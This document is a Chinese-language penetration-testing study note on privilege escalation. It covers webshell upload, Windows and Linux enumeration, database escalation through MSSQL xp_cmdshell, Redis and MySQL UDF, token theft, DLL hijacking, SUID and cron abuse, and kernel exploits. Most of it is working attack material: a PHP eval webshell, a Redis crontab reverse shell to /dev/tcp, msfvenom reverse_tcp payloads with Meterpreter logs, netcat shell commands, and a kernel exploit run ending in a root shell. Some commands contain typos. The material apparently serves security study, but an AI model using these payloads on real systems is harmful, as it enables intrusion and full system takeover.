权限提升
在系统内不同权限处理的事件不同,在操作被拒绝时,就要想到提升权限进行操作
一、权限
- 后台权限
获取方式:爆破、注入猜解、弱口令等获取账号密码配合登录
一般网站或者应用后台只能操作应用界面的内容数据图片等信息,无法操作程序的源代码或服务器上的资源文件。如果后台存在能够操作文件的功能也可以操作文件数据
- 网站权限
获取方式:爆破、注入猜解、弱口令等获取账号密码配合登录
查看或修改程序源代码,可以进行网站或应用的配置文件读取,还能收集服务器系统的相关信息,为后续的系统提权做准备
- 数据库权限
操作数据库权限,对数据库进行增删改查,源码或配置文件的泄露,也可能是网站权限(webshell)进行数据库配置文件读取获得
- 系统权限
system,可以对系统内的文件夹进行增删改查,就比如说删除 window 这个文件夹,就必须得有系统的最高权限
- 接口权限
- 域控权限
二、获取网站权限 webshell
1、利用文件上传漏洞,上传一句话木马
<?php?
eval($_POST['x'])
>
2、利用 url 在参数 x传入 php 代码即可运行进行
3、用蚁剑连接获得 webshell
三、获取系统权限
window提权常用命令
序号 | 命令 | 描述 | 用法示例 |
---|---|---|---|
1 | whoami | 显示当前登录用户的用户名。 | whoami |
2 | net user | 管理本地用户账户,包括创建、删除、启用、禁用账户等。 | 创建用户:net user username password /add |
3 | net localgroup | 管理本地用户组,包括将用户添加到组、从组中删除用户等操作。 | 添加用户到组:net localgroup groupname username /add |
4 | sc | 与Windows服务进行交互,包括启动、停止、修改服务等操作。 | 查询服务状态:sc query servicename |
5 | tasklist | 列出当前系统中运行的进程列表。 | tasklist |
6 | taskkill | 终止指定的进程。 | 通过进程名终止进程:taskkill /IM processname.exe /F |
7 | wmic | 提供了用于管理系统硬件、软件和服务的命令行界面。 | 查询系统信息:wmic os get caption |
8 | reg | 在命令行中对Windows注册表进行操作。 | 查询注册表项的值:reg query "HKLM\Software\Microsoft\Windows\CurrentVersion" /s |
9 | ipconfig | 显示当前系统的网络配置信息。 | 显示所有网络适配器信息:ipconfig /all |
10 | netstat | 显示网络连接信息,包括本地和远程地址、端口状态等。 | 显示所有连接和监听端口:netstat -a |
11 | systeminfo | 显示系统的详细配置信息,包括操作系统版本、安装日期等。 | systeminfo |
12 | gpupdate | 更新本地或域组策略设置,并应用到系统中。 | gpupdate /force |
13 | shutdown | 关闭或重启系统。 | 关机:shutdown /s /t 0 |
14 | sfc | 扫描并修复系统文件。 | sfc /scannow |
15 | chkdsk | 检查和修复磁盘错误。 | chkdsk C: /f |
16 | diskpart | 磁盘分区工具,用于管理磁盘分区。 | diskpart |
17 | robocopy | 复制文件和目录,支持断点续传和多种选项。 | robocopy sourcedir destdir /MIR /R:3 /W:3 |
18 | schtasks | 创建、修改、删除计划任务。 | schtasks /create /tn TaskName /tr "command" /sc daily /st 09:00 |
19 | netsh | 配置网络接口和网络设置。 | netsh interface ip show config |
20 | regedit | Windows注册表编辑器。 | regedit |
21 | powercfg | 配置电源计划和电源选项。 | powercfg /hibernate off |
22 | taskmgr | 打开任务管理器。 | taskmgr |
23 | mstsc | 远程桌面连接。 | mstsc |
24 | dxdiag | 显示DirectX诊断工具。 | dxdiag |
25 | shutdown | 关闭或重启系统。 | shutdown /r /t 0 |
普通权限
序号 | 分组名称 | 描述 | 权限示例 |
---|---|---|---|
1 | Administrators(管理员) | 拥有系统上最高权限的组,完全控制系统资源。 | - 完全控制系统资源 - 安装和卸载程序 - 管理系统服务和驱动程序 - 创建、修改和删除其他用户账户 - 修改系统设置和安全策略 |
2 | Users(用户) | 系统上的普通用户,受到一定的限制。 | - 访问共享文件和文件夹 - 运行已安装的程序 - 创建和编辑个人文件和文件夹 - 更改个人设置和密码 |
3 | Guests(访客) | 用于暂时访问系统的受限制用户组。 | - 有限的文件和文件夹访问权限 - 无法更改系统设置 - 无法安装新程序或驱动程序 |
4 | Power Users(高级用户) | 位于管理员和普通用户之间,具有一些系统管理权限。 | - 安装已签名的驱动程序 - 添加和删除本地打印机 - 管理本地用户和组 - 管理共享文件夹和文件权限 |
5 | Backup Operators(备份操作员) | 备份和恢复操作权限。 | - 备份和恢复文件和文件夹 - 修改所有文件的权限以备份 |
6 | Remote Desktop Users(远程桌面用户) | 远程访问服务器或工作站的权限。 | - 远程登录到服务器或工作站 - 通过远程桌面进行管理和配置 |
7 | Network Configuration Operators(网络配置操作员) | 管理网络配置的权限。 | - 更改网络连接的属性和设置 - 配置网络适配器 |
8 | Replicator(复制者) | 文件复制和同步的系统内置组。 | - 复制文件和文件夹 - 同步目录和文件 - 无法直接登录到系统 |
9 | Authenticated Users(经过身份验证的用户) | 所有已通过身份验证的用户。 | - 访问共享文件和文件夹 - 运行已安装的程序 - 对系统资源具有基本访问权限 - 通常是许多安全策略和文件权限的默认对象 |
特殊权限
权限名称 | 描述 |
---|---|
System | 代表操作系统本身,拥有系统上最高级别的权限。 |
默认权限: | |
- 完全控制系统文件和文件夹 | |
- 修改系统注册表项 | |
- 安装、删除系统级别的服务和驱动程序 | |
- 访问所有用户的文件和文件夹 | |
Everyone | 表示系统上的所有用户,包括未经过身份验证的用户。 |
默认权限: | |
- 读取权限:允许所有用户读取访问资源 | |
- 访问共享资源:允许所有人访问共享文件和文件夹 | |
- 通常用于公共资源,以便所有人都可以访问 | |
Authenticated Users | 表示已通过身份验证的用户,即所有已登录到系统的用户。 |
默认权限: | |
- 读取权限:允许已验证用户读取访问资源 | |
- 运行程序:允许运行已安装的程序 | |
- 基本访问权限:对系统资源的基本访问权限 | |
- 通常是许多安全策略和文件权限的默认对象 | |
Creator Owner | 表示资源的创建者或所有者。当用户创建一个文件或文件夹时,该用户自动成为其所有者。 |
默认权限: | |
- 完全控制权限:对于自己创建的资源,拥有完全控制权限 | |
- 控制权限:可以控制自己创建的资源的访问和操作 |
权限获取步骤
如何判断使用哪种溢出漏洞?漏洞哪里找
1.拿到 shell之后使用whoami
获取当前的权限,和用 whoami prv
来了解可以操作的事情
2.systeminfo
可以获取当前服务器的系统信息,可以看到有打过哪些漏洞的补丁
3.把系统信息保存成 x.txt 文件,然后用系统漏洞扫描工具对系统信息进行扫描
扫码原理通过对比补丁和漏洞库的信息来判断出可能拥有哪些漏洞
扫描工具https://github.com/bitsadmin/wesng.git
漏洞扫描工具https://github.com/chroblert/WindowsVulnScan.git
漏洞集成平台https://github.com/SecWiki/windows-kernel-exploits.git
4.知道系统存在的漏洞之后,可以浏览器找到对应漏洞的 EXP 进行利用;或者可以利用 MSF 找到对应漏洞的工具,设置 IP 端口进行攻击;或者在 github 输入该漏洞找到专属的 EXP
总结
1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法有操作系统版本之间的区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等等
四、数据库提权
通过数据库获得系统权限
在利用系统溢出漏洞无果的情况下,可以采用数据库提权
前提条件:服务器开启数据库服务及获取到最高权限的用户密码,除Access数据库外,其他数据库基本都存在提权问题
1、mysql 提权流程
1.服务探针,通过扫描工具判断系统是否开启数据库服务,端口在哪里
2.信息收集,通过查看数据库配置文件,或者进行密码爆破或者数据库密码
3.提权利用
4.获取权限
1.读取网站数据库配置文件(了解其命名规则及查找技巧)
Sql data inc config conn database common include等
如 sql-labs 下的数据库连接文件,就暴露出了数据库密码
2.读取数据库储存或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd
3.利用脚本暴力猜解(了解数据库是否支持外联如何开启外联)
1、UDF提权知识点:(基于MYSQL 调用命令执行函数)
mysql<5.1,导出目录c:/windows或 system32
mysql>5.1,导出安全目录/lib/plugin
然后利用工具把提权文件 DLL 下载到/lib/plugin
即可完成提权
2、MOF 提权知识点
3、启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行
4、反弹知识点:(基于反弹特性命令执行)
2、mssql 提权
1.服务探针,通过扫描工具判断系统是否开启数据库服务,端口在哪里
2.信息收集
3.提权利用
4.获取权限
1.使用 xp_cmdshell进行提权
该默认在 mssql12000中是开启的,早 mssql12005默认关闭,可以通过命令进行开启
##开启
EXEC sp_configure `show advanced options`,1
RECONFIGURE;
EXEC sp_configure `xp_cmdshell`,1;
RECONFIGURE;
##关闭
EXEC sp_configure `show advanced options`,1
RECONFIGURE;
EXEC sp_configure `xp_cmdshell`,0;
RECONFIGURE;
放回 system权限
#EXEC master.dbo.xp_cmdshell '系统命令'
EXEC master.dbo.xp_cmdshell 'whoami'
2.使用sp_oacreate 进行提权
主要用来调用OLE 对象,利用 OLE 对象的 run 方法执行系统命令
##开启
EXEC sp_configure `show advanced options`,1
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure `Ole Automation Procedurce`,1;
RECONFIGURE WITH OVERRIDE;
##关闭
EXEC sp_configure `show advanced options`,1
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure `Ole Automation Procedurce`,0;
RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate `wscript.shell`,
@shell output exec sp_oamethod @shell,'run',null,'c:windos/system32/cmd.exe /c whoami >c:\\1.txt
3.使用sql sever沙盒提权
3、Oracle 提权
1.普通用户模式
前提是拥有一个 Oracle连接账号,不需要 DBA 权限,可以提权至DBA,并以Oracle实例运行的权限执行操作系统命令。
2.DBA用户模式(自动化工具演示)
拥有DBA 账号密码,可以省去自己动手创建存储过程的繁琐步骤,一键执行测试
3.注入提升模式(sqlmap测试演示)
拥有一个 Oracle 的注入点可以通过注入点直接执行命令,此种模式没有实现回显,需要自己验证
4、Redis 提权
redis 基本命令
连接 reids
redis-cli -h 192.168.11.123
查看 redis 版本信息
192.168.11.123:6379>info
将变量的值设置为test
192.168.11.123:6379>set x "test"
把整个redis数据库删除
192.168.11.123:6379>flushall
查看所有键
192.168.11.123:6379>KEY *
1、利用计划任务执行命令反弹
在redis以 root 权限运行时可以写crontab来执行命令反弹shell
1.在自己的服务器上监听一个端口
nc -lvnp 7999
2.执行命令
set x "\n* * * * * bash -i >& /dev/tcp/loacalIP:7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
3.在本地监听端口操作
2、写ssh-keygen公钥然后使用私钥登录
在一下条件可使用这个方法
- Redis服务器使用 ROOT 账号登录
- 服务器开发了 SHH服务,而且允许使用秘钥登录,即可远程写一个公钥,直接登录全程服务器
3、权限较低往 web物理路径写 webshell
修复方案
1.绑定需要访问的数据库 IP
将127.0.0.1修改为需要访问此数据库的 IP 地址。
2.设置访问密码
在 Redis.config中requirepass字段后设置密码
3.修改 Redis 服务运行账号
以较低权限的账号运行 Redis服务,禁用账号的登录权限
5、PostgreSQL 提权
https://vulhub.org/#/environments/postgres/CVE-2018-1058/
https://vulhub.org/#/environments/postgres/CVE-2019-9193/
6、windows2008、07令牌窃取
1.生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=5577 -f exe -o /root/xx.exe
传输到靶机上运行获得shell
2.令牌窃取
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
3.然后再利用后门获得 System 权限
7、windows2003进程注入提升
五、案例
1、烂土豆配合令牌窃取提权
a、获取 webshell
1.利用 msf 生成windows 后门,并传输到靶机
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.112 lport=6677 -f exe > shell.exe
2.设置监听窗口
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 6677
lport => 6677
msf6 exploit(multi/handler) > set lhost 192.168.111.112
lhost => 192.168.155.130
msf6 exploit(multi/handler) > run
3.运行后门文件,获得 shell
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.111.112:6677
[*] Sending stage (175686 bytes) to 192.168.111.124
[*] Meterpreter session 1 opened (192.168.111.112:6677 -> 192.168.111.124:58216) at 2024-03-26 01:09:58 +0800
meterpreter > getuid
Server username: DESKTOP-11IHEV6\token
4.令牌窃取
meterpreter > getuid
Server username: DESKTOP-11IHEV6\token
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
DESKTOP-11IHEV6\token
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[-] User token NT AUTHORITY\SYSTEM not found
meterpreter > getuid
Server username: DESKTOP-11IHEV6\token
窃取失败,因为权限不够
5.把烂土豆程序上传到靶机并且运行,然后再重新提权
meterpreter > execute -cH -f rottenpotato.exe
Process 4248 created.
Channel 4 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
DESKTOP-11IHEV6\token
Impersonation Tokens Available
========================================
No tokens available
还是显示没有有用的 token,暂时无法解决,可能是版本问题
2、DLL 劫持提权应用配合 MSF
原理:windows启动程序的时候需要 DLL。如果这些 DLL 不存在,则可以通过应用程序要查找的位置恶意放置 DLL来提权。通常,Windows 有预订其搜索 DLL 的路径。根据以下顺序进行搜索:
1.应用程序加载的目录
2.C:\Windows\System32
3.C:\Windows\System
4.C:\Windows
5.当前工作目录,CWD
6.在 PATH 的环境变量目录
过程
1.信息收集
搜集服务器第三方特有的信息
2.进程调试
分析程序运行的时候有调用哪些 DLL
3.制作 DLL 并上传
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.113 lport=7788 -f dll > token.dll
4.替换 DLL
5.启动应用后成功
3、不安全权限配合 MSF-WEB,本地权限
原理:由于管理器配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改它导致重定向执行文件
过程
1.检测服务权限配置
accesschk.exe -uwcqv "administrators"
2.制作文件并上传
3.更改服务路径指向
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"
4.调用后成功
4、不带引号服务路径配合 MSF-WEB,本地权限
原理:当 windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径 系统会按字面解释它并执行。但是,如果服务二进制路径未包含在引号中,则操作系统将会找到的空格分隔的服务的第一个实例。
"C:\Program Files\a.exe" -f
C:\Program Files\a.exe -f //若没有引号可能就导致读不到空格后面,只读到C:\Program
过程
1.检测引号服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:Windows\\" | findstr /i /v """
2.利用路径制作文件并上传
3.启动服务或重启
4.调用后成功
总结
- 要了解提权方法对应的层面,在不适应的层面,提权可能无效
- 提权方法对应系统版本
- 相关文件及后门免杀问题
六、 Linux系统提权
1、Linux提权自动化脚本利用
信息收集
判断是否存在 SUID等提权方式
LinEnum
https://github.com/rebootuser/LinEnum
1.把linenum.sh
文件上传至靶机/tmp
目录
应为/tmp
目录每次重启的时候都是会刷新的
2.运行
检查的内容为
(1)内核和发行版本
(2)系统信息:1.主机名
2.网络详情:
3.当前IP
4.默认路由详细信息
5.DNS服务器信息
(3)用户信息:1.当前用户详细信息
2.上次登录的用户
3.显示登录到主机的用户
4.列出所有用户,包括uid/gid信息
5.列出根帐户
6.提取密码策略和哈希存储方法信息
7.检查umask值
8.检查密码哈希是否存储在/etc/passwd中
9.提取'default' uid的完整详细信息,例如0、1000、1001等
10.尝试读取受限制的文件。例如/etc/shadow
11.列出当前用户的历史记录文件(即e .bash_history,.纳米历史等)
12.基本SSH检查
(4)特权访问:1.哪些用户最近使用了sudo
2.确定/etc/sudoers是否可访问
3.确定当前用户是否具有无需密码的Sudo访问权限
4.是否可以通过Sudo获得已知的“良好”突破二进制文件(i.即nmap、vim等。)
5.根目录的主目录是否可访问 5.列出/home/的权限
(5)环境:1.显示当前$PATH
2.显示env信息
(6)作业/任务:1.列出所有cron作业
2.查找所有全局可写的cron作业
3.查找系统其他用户拥有的cron作业
4.列出活动和非活动systemd计时器
(7)服务项目:1.列出网络连接(TCP和UDP)
2.列出正在运行的进程
3.查找和列出进程二进制文件和关联的权限
4.列出inetd.conf/xined。conf内容和关联的二进制文件权限
5.列出init.d二进制权限
(8)版本信息(以下): 1.须户
2.MYSQL
3.波斯特格雷斯
4.阿帕奇:(1)检查用户配置
(2)显示启用的模块
(3)检查htpasswd文件
(4)查看www目录
(9)默认/弱凭据:1.检查默认/弱Postgres帐户
2.检查默认/弱MYSQL帐户
(10)搜索:1.找到所有SUID/GUID文件
2.找到所有可全局写入的SUID/GUID文件
3.找到root拥有的所有SUID/GUID文件
4.找到“感兴趣的”SUID/GUID文件(即例如nmap、vim等)
5.查找具有POSIX功能的文件
6.列出所有全局可写文件
7.查找/列出所有可访问的 *。计划文件和显示内容
8.查找/列出所有可访问的 *。rhosts文件和显示内容
9.显示NFS服务器详细信息
10.找到 *.conf和 *。包含脚本运行时提供的关键字的日志文件
11.列出位于/etc中的所有 *.conf文件
12.巴克文件搜索
13.定位邮件
(11)平台/软件特定测试:1.检查是否在Docker容器中
2.检查主机是否安装了Docker
3.检查以确定我们是否在LXC容器中
linuxprivchecker
https://github.com/sleventyeleven/linuxprivchecker
漏洞探针
linux-exploit-suggester
漏洞扫描
Linux-exploit-suggester2
2、Linux 配合 SUID 提权
SUID= set user id SGID=set group id
漏洞形成原因
chmod u+s给予了suid u-s删除了 suid
使程序运行中受到了suid root权限的执行过程导致
1.把信息收集工具linenum.sh
传输到靶机进行扫描查看是否有 SUID 利用点
2.查看SUID file查看是否有nmap
,vim
,less
,more
,nano
,cp
,mv
,find
,有则存在 suid 漏洞,
touch test
find test -exec whoami\;
find test -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx:5555
3、Linux 提权配合本地漏洞
过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG
1.连接
上传扫描工具查看主要信息,发现有 CVE-2017-16995
按照提示下载45010
exp进行提权
上传45010
并编译启动,把权限提升到 root
$ gcc 45010.c -o 45010
$ chmod +x 45010
$ ./45010
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880013655200
[*] Leaking sock struct from ffff880017d6a800
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880019b4b140
[*] UID from cred structure: 1001, matches the current: 1001
[*] hammering cred structure at ffff880019b4b140
[*] credentials patched, launching shell...
# id
uid=0(root) gid=0(root) groups=0(root),1001(hack)
4、Linux提权脏牛内核漏洞
1.利用 nmap 对靶机进行扫描,发现靶机服务端口和 CMS
nmap 192.168.33.0/24
nmap -p1-65535 192.168.33.144
2.根据 CMS 找到该 CMS 对应的漏洞,利用 msf搜索相关的 EXP破解获得 webshell
msf6 > search drupal
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 > show options
...
3.在/tmp
目录上传 linux 漏洞扫描文件,扫描到CVE-2016-5195,根据工具推荐的破解 EXP 进行下载
4.对 EXP 文件进行编译,赋权后,进行提权
5、Linux 提权本地环境变量安全
配合SUID进行环境变量提权-本地用户环境
1.手写调用文件,调用执行 ps 命令
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
2.编译
gcc demo.c -o shell
3.复制文件
cp /bin/sh /tmp/ps
4.增加环境变量
export PATH=/tmp:$PATH
5.执行触发
./shell
6、Linux提权本地定时任务安全
第一种:路径问题
利用计划任务指向的文件的相对路径解析问题
cat /etc/crontab
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
第二种:命令问题
利用通配符配合命令参数自定义命令实现提权
不安全定时任务备份命令
理解:在执行命令时加上通配符*
,涵盖了文件名,这时把文件名设置成命令语句进行一个拼接从而执行我们想要运行的sh
文件
1.查看计划任务所在的文件路径
cat etc/crontab
2.把提权程序写到该路径下,并构造命令文件名
cd /home/undead/script;tar /tmp/backup.tar.gz *
//写提权程序,把 bash复制到 tmp 文件夹下并给予 suid权限
//但是没有权限不能进行运行
//需要利用通配符特性把文件名当作命令语句进行拼接,在拼接的语句中执行提权程序
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
//构造文件名运行提权程序
echo "" > "--chckpoint-action=exec=sh test.sh"
echo "" > "--chckpoint=1
3.运行提权程序获得权限
知识点tar
中有命令--chckpoint-action=exec=sh test.sh
在解压文件的同时可以执行文件
第三种:权限问题
利用不安全的权限配置操作导致的定时文件覆盖
chmod -x test.sh //只是赋予该程序执行权限
chmod 777 test.sh //把所有权限公开,可以对该定时文件进行覆盖写入提权脚本
6、Linux 提权数据库 MYSQL_UDF
1.探针 IP 和端口
nmap 192.168.154.0/24
2.利用漏洞获取 web 权限
python3 D:/40974.py #运行EXP
nc -lvvp 5555 #监听本地端口获得 webshell
写入后门方便操作
echo "<?php @eval($_POST['x'])?>" > 1.php
3.信息收集,发现有 mysql 服务
./linenum.sh #上传扫描工具后并运行
4.查看数据库配置文件,获取到账号密码
5.利用 Mysql 提权 linux
下载mysql udf poc 进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -share -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
下载到目标服务器
wget http://xxx/1518.so
进入数据库进行UDF 导出
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile
'usr/lib/mysql/plugin/1518.so';
创建 do_system函数调用
create fuction do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
配合使用 find 函数调用执行
touch xxx
find xxx -exexc "whoami" \;
find xxx -exexc "bin/sh" \;
id
漏洞库
https://www.exploit-db.com/
https://gitlab.com/exploit-database/exploitdb